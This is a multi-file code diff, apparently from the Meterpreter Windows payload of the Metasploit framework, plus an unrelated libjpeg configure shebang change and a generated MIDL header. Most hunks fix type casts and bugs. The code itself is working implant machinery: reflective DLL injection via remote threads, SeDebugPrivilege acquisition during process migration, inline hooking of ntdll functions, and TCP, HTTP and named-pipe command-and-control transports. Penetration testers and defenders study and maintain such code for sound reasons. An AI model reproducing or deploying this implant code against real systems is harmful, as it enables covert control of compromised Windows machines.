if (ctx->pmem_info.Run[ctx->index].start > ctx->offset) { if (ctx->pmem_info.Run[ctx->index].start > ctx->offset)
{
uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset; uint64_t padding_size = ctx->pmem_info.Run[ctx->index].start - ctx->offset;
DWORD padding_size_max = (DWORD)min(padding_size, bufferSize); DWORD padding_size_max = (DWORD)min(padding_size, bufferSize);
ZeroMemory(buffer, padding_size_max); ZeroMemory(buffer, padding_size_max);
@ -358,18 +380,21 @@ static DWORD winpmem_channel_read(Channel *channel, Packet *request,
offset += *bytesRead; offset += *bytesRead;
} }
if (bufferSize - *bytesRead > 0) { if (bufferSize - *bytesRead > 0)
{
uint64_t end = min(ctx->pmem_info.Run[ctx->index].length, bufferSize - *bytesRead); uint64_t end = min(ctx->pmem_info.Run[ctx->index].length, bufferSize - *bytesRead);
end += offset; end += offset;
DWORD status = winpmem_meterpreter_copy_memory(offset, end, ctx, buffer, bufferSize, bytesRead); DWORD status = winpmem_meterpreter_copy_memory(offset, end, ctx, buffer, bufferSize, bytesRead);
if (status == 0) { if (status == 0)
{
dprintf("[WINPMEM] Failed in winpmem_meterpreter_copy_memory."); dprintf("[WINPMEM] Failed in winpmem_meterpreter_copy_memory.");
} }
} }
ctx->offset += *bytesRead; ctx->offset += *bytesRead;
if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length) { if (ctx->offset >= ctx->pmem_info.Run[ctx->index].start + ctx->pmem_info.Run[ctx->index].length)
{
ctx->index++; ctx->index++;
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;

View File

@ -1,4 +1,4 @@
#! /bin/sh #!/bin/bash
# Guess values for system-dependent variables and create Makefiles. # Guess values for system-dependent variables and create Makefiles.
# Generated by GNU Autoconf 2.65 for libjpeg 8.0. # Generated by GNU Autoconf 2.65 for libjpeg 8.0.
# #

View File

@ -565,7 +565,7 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
{ {
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL))
{ {
dprintf("[MIGRATE] Got SeDebugPrivilege!"); dprintf("[MIGRATE] Got SeDebugPrivilege!");
} }

View File

@ -2,7 +2,7 @@
#include "base_inject.h" #include "base_inject.h"
#include "remote_thread.h" #include "remote_thread.h"
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include <Tlhelp32.h> #include <tlhelp32.h>
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' // see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 // 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
@ -386,7 +386,7 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
// Transition this wow64 process into native x64 and call pX64function( ctx ) // Transition this wow64 process into native x64 and call pX64function( ctx )
// The native function will use the native Win64 API's to create a remote thread in the target process. // The native function will use the native Win64 API's to create a remote thread in the target process.
if( !pExecuteX64( pX64function, (DWORD)ctx ) ) if( !pExecuteX64( pX64function, (DWORD)(DWORD_PTR)ctx ) )
{ {
SetLastError( ERROR_ACCESS_DENIED ); SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ) BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
@ -539,7 +539,7 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLength, LPCSTR ref
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" ); BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
// add the offset to ReflectiveLoader() to the remote library address... // add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset ); lpReflectiveLoader = (LPVOID)((DWORD_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
// First we try to inject by directly creating a remote thread in the target process // First we try to inject by directly creating a remote thread in the target process
if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS ) if( inject_via_remotethread( NULL, NULL, hProcess, dwMeterpreterArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )

View File

@ -83,7 +83,7 @@ VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationNam
temp_session = remote->curr_sess_id; temp_session = remote->curr_sess_id;
// A session id of -1 resets the state back to the servers real session id // A session id of -1 resets the state back to the servers real session id
if (dwSessionID = -1) if (-1 == dwSessionID)
{ {
dwSessionID = remote->orig_sess_id; dwSessionID = remote->orig_sess_id;
} }

View File

@ -104,8 +104,8 @@ typedef struct _SHELLCODE_CTX {
/* Global offset */ /* Global offset */
DWORD offset; DWORD offset;
/* Allocated memory sections */ /* Allocated memory sections */
DWORD file_address; DWORD_PTR file_address;
DWORD mapped_address; DWORD_PTR mapped_address;
DWORD size_map; DWORD size_map;
/* Hook stub functions */ /* Hook stub functions */
@ -333,23 +333,22 @@ void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub,
bytes = 5; bytes = 5;
/* Create the stub */ /* Create the stub */
WriteProcessMemory((HANDLE)-1, stub, (char *)address, WriteProcessMemory((HANDLE)-1, stub, (LPVOID)address,
bytes, &written); bytes, &written);
*(PBYTE)(stub + bytes) = 0xE9; *(PBYTE)(stub + bytes) = 0xE9;
*(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); *(DWORD *)(stub + bytes + 1) = (DWORD)((DWORD_PTR)address - ((DWORD_PTR)stub + 5));
/* Patch original function */ /* Patch original function */
/* Fix protection */ /* Fix protection */
VirtualQuery((char *)address, &mbi_thunk, VirtualQuery((LPVOID)address, &mbi_thunk,
sizeof(MEMORY_BASIC_INFORMATION)); sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
/* Insert jump */ /* Insert jump */
*(PBYTE)address = 0xE9; *(PBYTE)address = 0xE9;
*(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); *(DWORD *)(address + 1) = (DWORD)((DWORD_PTR)hook - ((DWORD_PTR)address + 5));
/* Restore protection */ /* Restore protection */
@ -424,7 +423,7 @@ void install_hooks(SHELLCODE_CTX *ctx)
} }
/* Restore given function */ /* Restore given function */
void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) void restore_function(SHELLCODE_CTX *ctx, DWORD_PTR address, unsigned char *stub)
{ {
DWORD protect; DWORD protect;
ULONG bytes; ULONG bytes;
@ -436,13 +435,13 @@ void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub)
/* Patch original function */ /* Patch original function */
/* Fix protection */ /* Fix protection */
VirtualQuery((char *)address, &mbi_thunk, VirtualQuery((LPVOID)address, &mbi_thunk,
sizeof(MEMORY_BASIC_INFORMATION)); sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize,
PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect);
/* Copy bytes back to function */ /* Copy bytes back to function */
WriteProcessMemory((HANDLE)-1, (char *)address, stub, WriteProcessMemory((HANDLE)-1, (LPVOID)address, stub,
bytes, &written); bytes, &written);
/* Restore protection */ /* Restore protection */
@ -477,24 +476,24 @@ void remove_hooks(SHELLCODE_CTX *ctx)
lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose");
/* NtMapViewOfSection */ /* NtMapViewOfSection */
restore_function(ctx, (DWORD)lNtMapViewOfSection, restore_function(ctx, (DWORD_PTR)lNtMapViewOfSection,
ctx->s_NtMapViewOfSection); ctx->s_NtMapViewOfSection);
/* NtQueryAttributesFile */ /* NtQueryAttributesFile */
restore_function(ctx, (DWORD)lNtQueryAttributesFile, restore_function(ctx, (DWORD_PTR)lNtQueryAttributesFile,
ctx->s_NtQueryAttributesFile); ctx->s_NtQueryAttributesFile);
/* NtOpenFile */ /* NtOpenFile */
restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile); restore_function(ctx, (DWORD_PTR)lNtOpenFile, ctx->s_NtOpenFile);
/* NtCreateSection */ /* NtCreateSection */
restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection); restore_function(ctx, (DWORD_PTR)lNtCreateSection, ctx->s_NtCreateSection);
/* NtOpenSection */ /* NtOpenSection */
restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection); restore_function(ctx, (DWORD_PTR)lNtOpenSection, ctx->s_NtOpenSection);
/* NtClose */ /* NtClose */
restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose); restore_function(ctx, (DWORD_PTR)lNtClose, ctx->s_NtClose);
} }
/* Map file in memory as section */ /* Map file in memory as section */
@ -513,14 +512,14 @@ void map_file(SHELLCODE_CTX *ctx)
* First, try to map the file at ImageBase * First, try to map the file at ImageBase
* *
*/ */
ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage, nt->OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/* No success, let the system decide.. */ /* No success, let the system decide.. */
if (ctx->mapped_address == 0) { if (ctx->mapped_address == 0) {
ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL, ctx->mapped_address = (DWORD_PTR)VirtualAlloc((PVOID)NULL,
nt->OptionalHeader.SizeOfImage, nt->OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
@ -593,7 +592,7 @@ HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength)
ctx->liblen = (int)strlen(ctx->libname) + 1; ctx->liblen = (int)strlen(ctx->libname) + 1;
// The address of the raw buffer // The address of the raw buffer
ctx->file_address = (DWORD)buffer; ctx->file_address = (DWORD_PTR)buffer;
// Map the buffer into memory // Map the buffer into memory
map_file(ctx); map_file(ctx);

View File

@ -132,5 +132,5 @@ VOID rand_xor_key(BYTE buffer[4])
BOOL is_null_guid(BYTE guid[sizeof(GUID)]) BOOL is_null_guid(BYTE guid[sizeof(GUID)])
{ {
return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE; return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(GUID)) == 0 ? TRUE : FALSE;
} }

View File

@ -1,7 +1,7 @@
#ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H #ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H
#define _METERPRETER_METSRV_PACKET_ENCRYPTION_H #define _METERPRETER_METSRV_PACKET_ENCRYPTION_H
#include <Windows.h> #include <windows.h>
#define AES256_BLOCKSIZE 16 #define AES256_BLOCKSIZE 16
#define ENC_FLAG_NONE 0x0 #define ENC_FLAG_NONE 0x0

View File

@ -312,12 +312,15 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
PCHAR libraryPath; PCHAR libraryPath;
DWORD flags = 0; DWORD flags = 0;
BOOL bLibLoadedReflectivly = FALSE; BOOL bLibLoadedReflectivly = FALSE;
dprintf("[LOADLIB] here 1");
Command *first = extensionCommands; Command *first = extensionCommands;
do do
{ {
dprintf("[LOADLIB] here 2");
libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
dprintf("[LOADLIB] here 3");
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Invalid library path? // Invalid library path?
@ -326,6 +329,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
res = ERROR_INVALID_PARAMETER; res = ERROR_INVALID_PARAMETER;
break; break;
} }
dprintf("[LOADLIB] here 4");
// If the lib does not exist locally, but is being uploaded... // If the lib does not exist locally, but is being uploaded...
if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) if (!(flags & LOAD_LIBRARY_FLAG_LOCAL))
@ -333,6 +337,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
PCHAR targetPath; PCHAR targetPath;
Tlv dataTlv; Tlv dataTlv;
dprintf("[LOADLIB] here 5");
// Get the library's file contents // Get the library's file contents
if ((packet_get_tlv(packet, TLV_TYPE_DATA, if ((packet_get_tlv(packet, TLV_TYPE_DATA,
&dataTlv) != ERROR_SUCCESS) || &dataTlv) != ERROR_SUCCESS) ||
@ -343,13 +348,16 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
break; break;
} }
dprintf("[LOADLIB] here 6");
// If the library is not to be stored on disk, // If the library is not to be stored on disk,
if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK))
{ {
LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet); LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet);
dprintf("[LOADLIB] here 7");
// try to load the library via its reflective loader... // try to load the library via its reflective loader...
library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader); library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader);
dprintf("[LOADLIB] here 8");
if (library == NULL) if (library == NULL)
{ {
// if that fails, presumably besause the library doesn't support // if that fails, presumably besause the library doesn't support
@ -361,6 +369,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
{ {
bLibLoadedReflectivly = TRUE; bLibLoadedReflectivly = TRUE;
} }
dprintf("[LOADLIB] here 9");
res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND; res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
} }
@ -396,10 +405,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
} while (0); } while (0);
dprintf("[LOADLIB] here 10");
if (response) if (response)
{ {
packet_transmit_response(res, remote, response); packet_transmit_response(res, remote, response);
} }
dprintf("[LOADLIB] here 11");
return res; return res;
} }

View File

@ -2,8 +2,8 @@
#include "server_pivot_named_pipe.h" #include "server_pivot_named_pipe.h"
#include "packet_encryption.h" #include "packet_encryption.h"
#include <AccCtrl.h> #include <accctrl.h>
#include <AclApi.h> #include <aclapi.h>
#define PIPE_NAME_SIZE 256 #define PIPE_NAME_SIZE 256
#define PIPE_BUFFER_SIZE 0x10000 #define PIPE_BUFFER_SIZE 0x10000
@ -755,7 +755,7 @@ DWORD request_core_pivot_add_named_pipe(Remote* remote, Packet* packet)
namedPipeServer = "."; namedPipeServer = ".";
} }
UINT pivotIdLen = 0; DWORD pivotIdLen = 0;
LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID, &pivotIdLen); LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID, &pivotIdLen);
if (pivotId != NULL) if (pivotId != NULL)
{ {

View File

@ -426,7 +426,7 @@ DWORD server_setup(MetsrvConfig* config)
dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport); dprintf("[SERVER] attempting to initialise transport 0x%p", remote->transport);
// Each transport has its own set of retry settings and each should honour // Each transport has its own set of retry settings and each should honour
// them individually. // them individually.
if (!remote->transport->transport_init(remote->transport)) if (remote->transport->transport_init(remote->transport) != ERROR_SUCCESS)
{ {
dprintf("[SERVER] transport initialisation failed, moving to the next transport"); dprintf("[SERVER] transport initialisation failed, moving to the next transport");
remote->transport = remote->transport->next_transport; remote->transport = remote->transport->next_transport;

View File

@ -101,7 +101,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
{ {
DWORD headerBytes = 0, payloadBytesLeft = 0, res; DWORD headerBytes = 0, payloadBytesLeft = 0, res;
PacketHeader header = { 0 }; PacketHeader header = { 0 };
LONG bytesRead; DWORD bytesRead;
BOOL inHeader = TRUE; BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL; PUCHAR packetBuffer = NULL;
PUCHAR payload = NULL; PUCHAR payload = NULL;
@ -156,7 +156,7 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet)
dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length); dprintf("[PIPE] discovered a length header, assuming it's metsrv of length %d", length);
int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD); int bytesToRead = length - sizeof(PacketHeader) + sizeof(DWORD);
char* buffer = (char*)malloc(bytesToRead); BYTE* buffer = (BYTE*)malloc(bytesToRead);
read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead); read_raw_bytes_to_buffer(ctx, buffer, bytesToRead, &bytesRead);
free(buffer); free(buffer);
@ -466,7 +466,7 @@ static HANDLE bind_named_pipe(wchar_t *pipe_name, TimeoutSettings *timeouts)
* @param transport Pointer to the transport instance. * @param transport Pointer to the transport instance.
* @return Indication of success or failure. * @return Indication of success or failure.
*/ */
static BOOL configure_named_pipe_connection(Transport* transport) static DWORD configure_named_pipe_connection(Transport* transport)
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
wchar_t tempUrl[512]; wchar_t tempUrl[512];
@ -545,7 +545,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
if (ctx->pipe == INVALID_HANDLE_VALUE) if (ctx->pipe == INVALID_HANDLE_VALUE)
{ {
dprintf("[SERVER] Something went wrong"); dprintf("[SERVER] Something went wrong");
return FALSE; return ERROR_INVALID_PARAMETER;
} }
dprintf("[SERVER] Looking good, FORWARD!"); dprintf("[SERVER] Looking good, FORWARD!");
@ -555,7 +555,7 @@ static BOOL configure_named_pipe_connection(Transport* transport)
transport->comms_last_packet = current_unix_timestamp(); transport->comms_last_packet = current_unix_timestamp();
return TRUE; return result;
} }
/*! /*!

View File

@ -308,7 +308,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
DWORD headerBytes = 0, payloadBytesLeft = 0, res; DWORD headerBytes = 0, payloadBytesLeft = 0, res;
Packet *localPacket = NULL; Packet *localPacket = NULL;
PacketHeader header = { 0 }; PacketHeader header = { 0 };
LONG bytesRead; DWORD bytesRead;
BOOL inHeader = TRUE; BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL; PUCHAR packetBuffer = NULL;
ULONG payloadLength; ULONG payloadLength;
@ -320,7 +320,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
// Read the packet length // Read the packet length
while (inHeader) while (inHeader)
{ {
if ((bytesRead = recv(ctx->fd, ((PUCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0) if ((bytesRead = recv(ctx->fd, ((PCHAR)&header + headerBytes), sizeof(PacketHeader)-headerBytes, 0)) <= 0)
{ {
SetLastError(ERROR_NOT_FOUND); SetLastError(ERROR_NOT_FOUND);
goto out; goto out;
@ -425,7 +425,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet)
// Read the payload // Read the payload
while (payloadBytesLeft > 0) while (payloadBytesLeft > 0)
{ {
if ((bytesRead = recv(ctx->fd, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, 0)) <= 0) if ((bytesRead = recv(ctx->fd, (PCHAR)(payload + payloadLength - payloadBytesLeft), payloadBytesLeft, 0)) <= 0)
{ {
if (GetLastError() == WSAEWOULDBLOCK) if (GetLastError() == WSAEWOULDBLOCK)
@ -689,7 +689,7 @@ static void transport_reset_tcp(Transport* transport, BOOL shuttingDown)
* @param transport Pointer to the transport instance. * @param transport Pointer to the transport instance.
* @return Indication of success or failure. * @return Indication of success or failure.
*/ */
static BOOL configure_tcp_connection(Transport* transport) static DWORD configure_tcp_connection(Transport* transport)
{ {
DWORD result = ERROR_SUCCESS; DWORD result = ERROR_SUCCESS;
size_t charsConverted; size_t charsConverted;
@ -751,17 +751,18 @@ static BOOL configure_tcp_connection(Transport* transport)
if (result != ERROR_SUCCESS) if (result != ERROR_SUCCESS)
{ {
dprintf("[SERVER] Something went wrong %u", result); dprintf("[SERVER] Something went wrong %u", result);
return FALSE; }
else
{
dprintf("[SERVER] Looking good, FORWARD!");
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
transport->comms_last_packet = current_unix_timestamp();
} }
dprintf("[SERVER] Looking good, FORWARD!"); return result;
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
transport->comms_last_packet = current_unix_timestamp();
return TRUE;
} }
/*! /*!
@ -781,7 +782,7 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt
while (idx < rawPacketLength) while (idx < rawPacketLength)
{ {
result = send(ctx->fd, rawPacket + idx, rawPacketLength - idx, 0); result = send(ctx->fd, (PCHAR)(rawPacket + idx), rawPacketLength - idx, 0);
if (result < 0) if (result < 0)
{ {

View File

@ -127,7 +127,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
if (ctx->proxy_user) if (ctx->proxy_user)
{ {
dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user); dprintf("[%s] Setting proxy username to %S", direction, ctx->proxy_user);
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user)))); if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_USERNAME, ctx->proxy_user, (DWORD)(wcslen(ctx->proxy_user))))
{ {
dprintf("[%s] Failed to set username %u", direction, GetLastError()); dprintf("[%s] Failed to set username %u", direction, GetLastError());
} }
@ -135,7 +135,7 @@ static HINTERNET get_request_winhttp(HttpTransportContext *ctx, BOOL isGet, cons
if (ctx->proxy_pass) if (ctx->proxy_pass)
{ {
dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass); dprintf("[%s] Setting proxy password to %S", direction, ctx->proxy_pass);
if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass)))); if (!WinHttpSetOption(hReq, WINHTTP_OPTION_PROXY_PASSWORD, ctx->proxy_pass, (DWORD)(wcslen(ctx->proxy_pass))))
{ {
dprintf("[%s] Failed to set password %u", direction, GetLastError()); dprintf("[%s] Failed to set password %u", direction, GetLastError());
} }
@ -336,7 +336,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet)
DWORD headerBytes = 0, payloadBytesLeft = 0, res; DWORD headerBytes = 0, payloadBytesLeft = 0, res;
Packet *localPacket = NULL; Packet *localPacket = NULL;
PacketHeader header; PacketHeader header;
LONG bytesRead; DWORD bytesRead;
BOOL inHeader = TRUE; BOOL inHeader = TRUE;
PUCHAR packetBuffer = NULL; PUCHAR packetBuffer = NULL;
ULONG payloadLength; ULONG payloadLength;
@ -541,7 +541,7 @@ out:
* @param transport Pointer to the transport instance. * @param transport Pointer to the transport instance.
* @return Indication of success or failure. * @return Indication of success or failure.
*/ */
static BOOL server_init_winhttp(Transport* transport) static DWORD server_init_winhttp(Transport* transport)
{ {
URL_COMPONENTS bits; URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE]; wchar_t tmpHostName[URL_SIZE];
@ -564,7 +564,7 @@ static BOOL server_init_winhttp(Transport* transport)
if (!ctx->internet) if (!ctx->internet)
{ {
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError()); dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
return FALSE; return GetLastError();
} }
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@ -597,12 +597,12 @@ static BOOL server_init_winhttp(Transport* transport)
if (!ctx->connection) if (!ctx->connection)
{ {
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError()); dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
return FALSE; return GetLastError();
} }
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE; return ERROR_SUCCESS;
} }
/*! /*!

View File

@ -141,7 +141,7 @@ static DWORD validate_response_wininet(HANDLE hReq, HttpTransportContext* ctx)
* @param transport Pointer to the transport instance. * @param transport Pointer to the transport instance.
* @return Indication of success or failure. * @return Indication of success or failure.
*/ */
static BOOL server_init_wininet(Transport* transport) static DWORD server_init_wininet(Transport* transport)
{ {
URL_COMPONENTS bits; URL_COMPONENTS bits;
wchar_t tmpHostName[URL_SIZE]; wchar_t tmpHostName[URL_SIZE];
@ -164,7 +164,7 @@ static BOOL server_init_wininet(Transport* transport)
if (!ctx->internet) if (!ctx->internet)
{ {
dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError()); dprintf("[DISPATCH] Failed InternetOpenW: %d", GetLastError());
return FALSE; return GetLastError();
} }
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet); dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
@ -197,7 +197,7 @@ static BOOL server_init_wininet(Transport* transport)
if (!ctx->connection) if (!ctx->connection)
{ {
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError()); dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
return FALSE; return GetLastError();
} }
if (ctx->proxy) if (ctx->proxy)
@ -214,7 +214,7 @@ static BOOL server_init_wininet(Transport* transport)
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection); dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
return TRUE; return ERROR_SUCCESS;
} }
/*! /*!

View File

@ -195,10 +195,10 @@ void disable_thread_error_reporting()
} }
} }
static DWORD THREADCALL thread_preamble(THREAD* thread) static ULONG THREADCALL thread_preamble(THREAD* thread)
{ {
disable_thread_error_reporting(); disable_thread_error_reporting();
return thread->funk(thread); return (ULONG)thread->funk(thread);
} }
/* /*
@ -233,7 +233,7 @@ THREAD* thread_create(THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID para
thread->parameter3 = param3; thread->parameter3 = param3;
thread->funk = funk; thread->funk = funk;
thread->handle = CreateThread(NULL, 0, thread_preamble, thread, CREATE_SUSPENDED, &thread->id); thread->handle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread_preamble, thread, CREATE_SUSPENDED, &thread->id);
if (thread->handle == NULL) if (thread->handle == NULL)
{ {

View File

@ -0,0 +1,379 @@
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 8.01.0622 */
/* @@MIDL_FILE_HEADING( ) */
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 500
#endif
/* verify that the <rpcsal.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCSAL_H_VERSION__
#define __REQUIRED_RPCSAL_H_VERSION__ 100
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif /* __RPCNDR_H_VERSION__ */
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif /*COM_NO_WINDOWS_H*/
#ifndef __filtereg_h__
#define __filtereg_h__
#if defined(_MSC_VER) && (_MSC_VER >= 1020)
#pragma once
#endif
/* Forward Declarations */
#ifndef __ILoadFilter_FWD_DEFINED__
#define __ILoadFilter_FWD_DEFINED__
typedef interface ILoadFilter ILoadFilter;
#endif /* __ILoadFilter_FWD_DEFINED__ */
#ifndef __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
#define __ILoadFilterWithPrivateComActivation_FWD_DEFINED__
typedef interface ILoadFilterWithPrivateComActivation ILoadFilterWithPrivateComActivation;
#endif /* __ILoadFilterWithPrivateComActivation_FWD_DEFINED__ */
/* header files for imported files */
#include "oaidl.h"
#include "ocidl.h"
#include "filter.h"
#ifdef __cplusplus
extern "C"{
#endif
/* interface __MIDL_itf_filtereg_0000_0000 */
/* [local] */
#include <winapifamily.h>
#pragma region Desktop Family
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
